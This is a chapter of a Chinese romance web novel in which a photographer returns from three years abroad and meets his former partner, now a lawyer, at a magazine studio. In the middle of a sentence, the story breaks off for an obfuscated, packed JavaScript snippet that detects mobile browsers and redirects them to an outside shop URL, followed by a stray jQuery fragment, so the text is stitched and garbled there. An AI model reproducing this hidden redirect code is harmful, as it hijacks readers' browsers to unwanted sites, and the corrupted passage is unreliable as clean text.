新年一月份，许言在洛杉矶遇到了林绵。两人坐在街边的咖啡厅里，许言看了眼她无名指上的钻戒，笑着问：“结婚了？”
“还没有，他上个月刚求的婚。”许久不见，林绵整个人成熟很多，许言已经没法把眼前的人与当初寻死觅活要跳楼的小公主放在一起。
“那提前祝贺你。”许言说，“新婚快乐。”
林绵却笑：“别提前呀，到时候我回国办婚礼，许大摄影不来吗？”
“来。”许言干脆地应下，“多忙都来。”他并不知道林绵的未婚夫是谁，但想来一定不会是那年淋着寒雨跑进医院的那位。
“时间过得真快，现在大家都好忙。”林绵看向窗外，忽然问，“你跟沈植有联系吗？”
许言都忘了多久没从别人嘴里听到这个名字，许年纪淮他们是绝不可能提的，跟汤韵妍聊天时也只限于工作和圈子里的事，大家都或多或少地在刻意回避，许言知道。
他拿勺子在杯里搅了搅，笑了下说：“没。”
“沈植现在在读研二。”林绵说，“我从小到大都不知道他居然想读法律。”
她不知道，许言更不知道，沈植从没提过。之前还是某个大学好友在聊天时跟许言感叹，说沈植竟然直接撂下公司，扭头就考了法硕，真牛。
确实牛，许言觉得林绵也挺牛，这些富二代们读博的读博，考研的考研，纷纷走上深造自我的道路，证明大家都有理想，有理想并为之付诸行动的人就很了不起。
但也只是这么觉得而已，没别的了。
见许言没说话，林绵又问：“你之后会回国吗？还是留在巴黎？”
“会回去。”许言喝了口咖啡，回答。
一月底的时候许言停止接约，之后，彻底完成所有工作和片约花了他小半年时间。六月中旬，在出国整整三年零一个月后，许言关上公寓大门，踏上回国的路。
三年里他回过几次家，还都是因为在邻国出差，艰难抽了空回去的，每次待不到两天就得走人。方蕙看他辛苦，让他别再这么赶了，许燊看他辛苦，让他照顾好身体，许年看他辛苦，让他帮自己要一张某巨星的签名照，最好是To签。
许言让他爬远点。
下了飞机是早上十点多，方蕙、许燊、许年、纪淮，四个人齐刷刷站在到达大厅等他。许言走过去，把行李箱朝许年脚边一推，伸手摘了帽子，跟方蕙拥抱。
“瘦了点。”方蕙仔细端详许言的脸，眼角泛红。
“想你，哥。”许年一边扒拉许言的背包一边不走心地表白。
许言瞥他一眼：“签名照有，还是To签。”许年听了两眼放光，扒拉得更起劲了，嘴里不停问“哪呢哪呢，快拿出来”，结果许言接着说，“不过不是她本人，是她男朋友的，你要吗？”
许年瞬间往后跌了一步，不可置信：“夺笋！许言你说你夺笋！”
几个人走出大厅，纪淮还得回公司，跟许言聊了几句就开车走了。今天天气尤其好，初夏艳阳高照，许言坐在车里，吃着方蕙亲手做的糕点，听许年在耳边叽叽歪歪。
他看着窗外，一切都没什么大变化，毕竟也只是三年而已，不久。
不断停驻又开动的车辆，匆匆的，迎接或送别、离去或归来的人，许言看了会儿，把目光转回车里，但在视线即将收回时，他感觉余光里闪过一道身影。
许言顿了下，又侧头去看——还是那些来往的陌生人，并没什么特别的。
“哥，看什么呢？”
许言转回头，笑着说：“没有。”
大厅外，沈植站在一根立柱旁的阴影里，看着那辆远去的、消失在车流中的商务车。
三年真的太久了。久到他都无法设想如果自己能和许言对话，第一句应该说什么。
手机铃声急促，沈植接起来，那边的人喊得嗷嗷响：“沈大律师！我都过安检了你怎么还没进来？！”
“马上。”沈植抬手看了眼表，冷静地说，“别急，来得及的。”
“你必须来得及，你要是赶不及那我也不上飞机了！”
“知道了。”
许言休息了没三天就重新上岗了，他跟陆森聊了聊，回国前有几家知名杂志社向他发出邀请，但陆森还是劝他考虑TIDE。
“如果确定回时尚圈发展，现在需要的就是一家能配得上你水平的公司，TIDE是最好的选择。”
许言诚恳地说：“我觉得你的工作室才是。”
“许言言！”陆森终于被他激怒，“请你来的时候你不来，现在又耍我是不是？”
“没有没有。”许言乐了，“实话实说。”
“算了，你不知道主编多急，说上面让她务必把你聘回去。我现在没时间管TIDE那边，一星期有空过去一趟就不错了，只有你能顶上。”
“明白。”
“你刚回国，这几年在外面又主拍风景类，要是有跟你摆架子怀疑你能力的，记得把眼睛放头顶上。”陆森说，“这圈子里多得是心浮气躁的人，别浪费力气，哄人不是我们该做的事，懂我意思吧？”
“懂。”
回公司第一个星期，许言和组里的同事在为一支香水广告忙活。这款香定在初秋发布，成片需要尽早敲定，接着要拍新代言人的宣图、视频、采访，许言还打算全程跟着一起做后期，尽快融入工作。
公司给许言配了个助理，叫王雯安，很机灵的一个小姑娘，干活的时候勤快周到，空下来以后还能给许言讲八卦解闷。许言也是从她嘴里才知道公司要被人告了，原因是上期的一篇文章里由于措辞问题，惹怒了某位女星，昨天律师函已经发过来了，不过告倒是还没真告，算是私下调解阶段。
“主编嘴角都上火起泡了，这两天大家都不敢往那片办公区走。”王雯安小声说，“刚刚我去送东西，看见懿新的律师过来了……好帅！”
许言不知道，他哪知道，每天一来就往摄影棚钻，要么就是跑外景，回来还得肝后期，实在没空了解公司八卦。但想来对方也不会真的起诉，毕竟TIDE不是一般杂志社，后续合作什么的都得慎重考虑，估计那边是实在咽不下气，所以拿律师函来泄个小愤，可以理解。
“那你也小心点。”许言喝了口水，笑着说，“别被主编抓去出气了。”
“Yes sir！”王雯安一个敬礼。
“摄影棚除了公司职员和艺人团队，别人是不能进的。”汤韵妍慢悠悠地说，“但谁让你现在挂着法务部律师的工作牌。”
“谢谢。”沈植说。
“你说实话。”汤韵妍转头看他，“这次是你自己要求来的吧？”
“对。”沈植回答。
汤韵妍笑：“那你们懿新的律师还真是踏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189328|197052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实勤恳啊，连这样的小案子都主动抢着接。”
沈植垂了垂眼，没说什么。他研二上学期末开始在懿新实习，懿新是红圈所之一，虽然他是非法本，但毕竟五院211毕业，最重要的是手里有案源，自带资源进律所，在这种人脉背景不可或缺的行业里总占优势。
TIDE的法务长期有懿新的律师在参与，沈植在懿新里属于资本市场组，他雅思分数高，CATTI过了二笔，本科又读的经济，所以一直往非诉涉外的方向发展，和TIDE的日常需求构不成什么联系，完全是两块领域。让他来处理这种案子，颇有点明珠弹雀的浪费意思——但谁让沈植主动提出要接。
以至于知道了这个消息后，组里的工作群蹦出了一连串的“？”。
：沈植去？
：沈植去？
：沈植去？
：沈植，来你过来，我这里有几个IPO项目想跟你分享一下。
：沈植，这种案子跟咱有关系吗？你要是被TIDE绑架了就眨眨眼。
：沈植，你想休假就直说，不可以拿这种小活儿掩人耳目。
……
汤韵妍按指纹解锁，门一开，传来各种谈话声和不间断的快门声。棚里灯光雪亮，虽然开了冷气，但温度仍然偏高。沈植下意识想挽起衬衫袖子，但摸到手腕的时候才发现袖子早已经挽上去了——他整个人好像有些茫然失措。
又走近了一点，视线穿过来往或站定的工作人员，沈植微微歪头，看见许言。
许言正拿着单反，单膝跪在精致的香水展台前，上身只穿了件宽松的背心T，是一个设计师送给他的，虽然许言弄不懂上面的图案，但这并不影响他觉得这件衣服很酷炫。这两年他全身上下大多东西都是品牌方送的，衣服裤子、鞋子背包、挂坠手链、戒指耳钉——说起耳钉，许言原本没这个想法，但架不住总收到耳饰，放着太浪费，只能咬牙去打耳洞，中途还发炎了，疼得他以为要就此失去自己的耳垂。
光线亮，照得许言的侧脸和手臂白皙一片，他瘦，但并不单薄，褪下了过去疲累社畜的职业装，现在的装扮更适合他——新锐、大胆、朝气，有种恣意耀眼的飞扬感。
人在自己热爱的领域里，会闪闪发光。
拍完一组，许言起身去看电脑里的成片，助理在一边给他递水擦汗。沈植目不错视地看着许言，汤韵妍轻轻推了一下他的背，低声说：“你知道我现在是什么感觉吗。”
“我感觉自己正带着一只流浪狗去找主人。”
沈植根本没怎么听清她在说什么，两人走近展台，王雯安率先发现他们，立刻朝汤韵妍笑：“Chloe！”
其余人转过头，纷纷跟汤韵妍打招呼，许言看照片看得太投入，一时半会儿没听见，王雯安提醒后他才反应过来。他放下水杯，另一只手还按在鼠标上，扭过头，笑着说：“你怎么有空来棚里看……”
他的目光掠过汤韵妍，停在沈植脸上，看进那双眼睛里，没说完的话就此断住。
这一秒的对视跨越三年时间，许言陷入片刻的耳鸣，周围说话声完全模糊，灯光过分刺目，以至于他觉得眼前的人看起来有些陌生。
沈植站在那里，沉静且专注的眼神，以凝望的姿态看着他。几秒过后，他说了很短的几个字，声音很低，不响，但许言听见了。
“好久不见。”